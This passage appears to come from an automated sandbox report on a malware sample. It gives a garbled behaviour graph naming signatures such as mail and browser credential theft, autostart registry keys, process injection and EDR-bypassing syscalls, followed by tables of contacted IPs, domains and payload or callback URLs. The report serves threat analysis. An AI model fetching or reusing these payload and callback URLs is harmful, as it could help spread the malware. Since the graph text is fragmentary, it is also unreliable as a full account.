13 49->54         started        57 reg.exe 1 1 52->57         started        59 conhost.exe 52->59         started        process15 signatures16 97 Tries to steal Mail credentials (via file / registry access) 54->97 99 Creates multiple autostart registry keys 54->99 101 Tries to harvest and steal browser information (history, passwords, etc) 54->101 103 2 other signatures 54->103 61 TsrCaEwNrfOKANGWcsg.exe 54->61 injected 65 firefox.exe 54->65         started        process17 dnsIp18 77 www.facesofhoustontx.com 34.174.122.2, 49725, 80 ATGS-MMD-ASUS United States 61->77 117 Found direct / indirect Syscall (likely to bypass EDR) 61->117 signatures19
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
142.251.40.206
 google.com United States
15169 GOOGLEUS false
34.174.122.2
 www.facesofhoustontx.com United States
2686 ATGS-MMD-ASUS true
87.121.105.54
 unknown Bulgaria
43561 NET1-ASBG false

Contacted Domains

Name IP Active
bg.microsoft.map.fastly.net 199.232.214.172 true
google.com 142.251.40.206 true
www.facesofhoustontx.com 34.174.122.2 true
timesrenewables.com 3.33.130.190 true
www.timesrenewables.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://87.121.105.54/iYbZIhIVLPBjJUzImyrJN72.bin false
  • Avira URL Cloud: safe
 unknown
http://www.facesofhoustontx.com/gnto/?P2v=kzXtiRyPGhR4rzp&4v8xJ8=F2aKH/UhYyQy5bhtG47arqZTAzYBZHKo8pZvH2jiqbKPAiUNCKzfvPloMCIQjvvo+O//vWhBzU38U00+OJnukLQGsUBXCgymNTKCViCR5sTiLbhUlqXxexqjYjSB6xlfqI4lO2I= true
  • Avira URL Cloud: safe
 unknown
http://87.121.105.54/Ommestrup.deploy false
  • Avira URL Cloud: safe
 unknown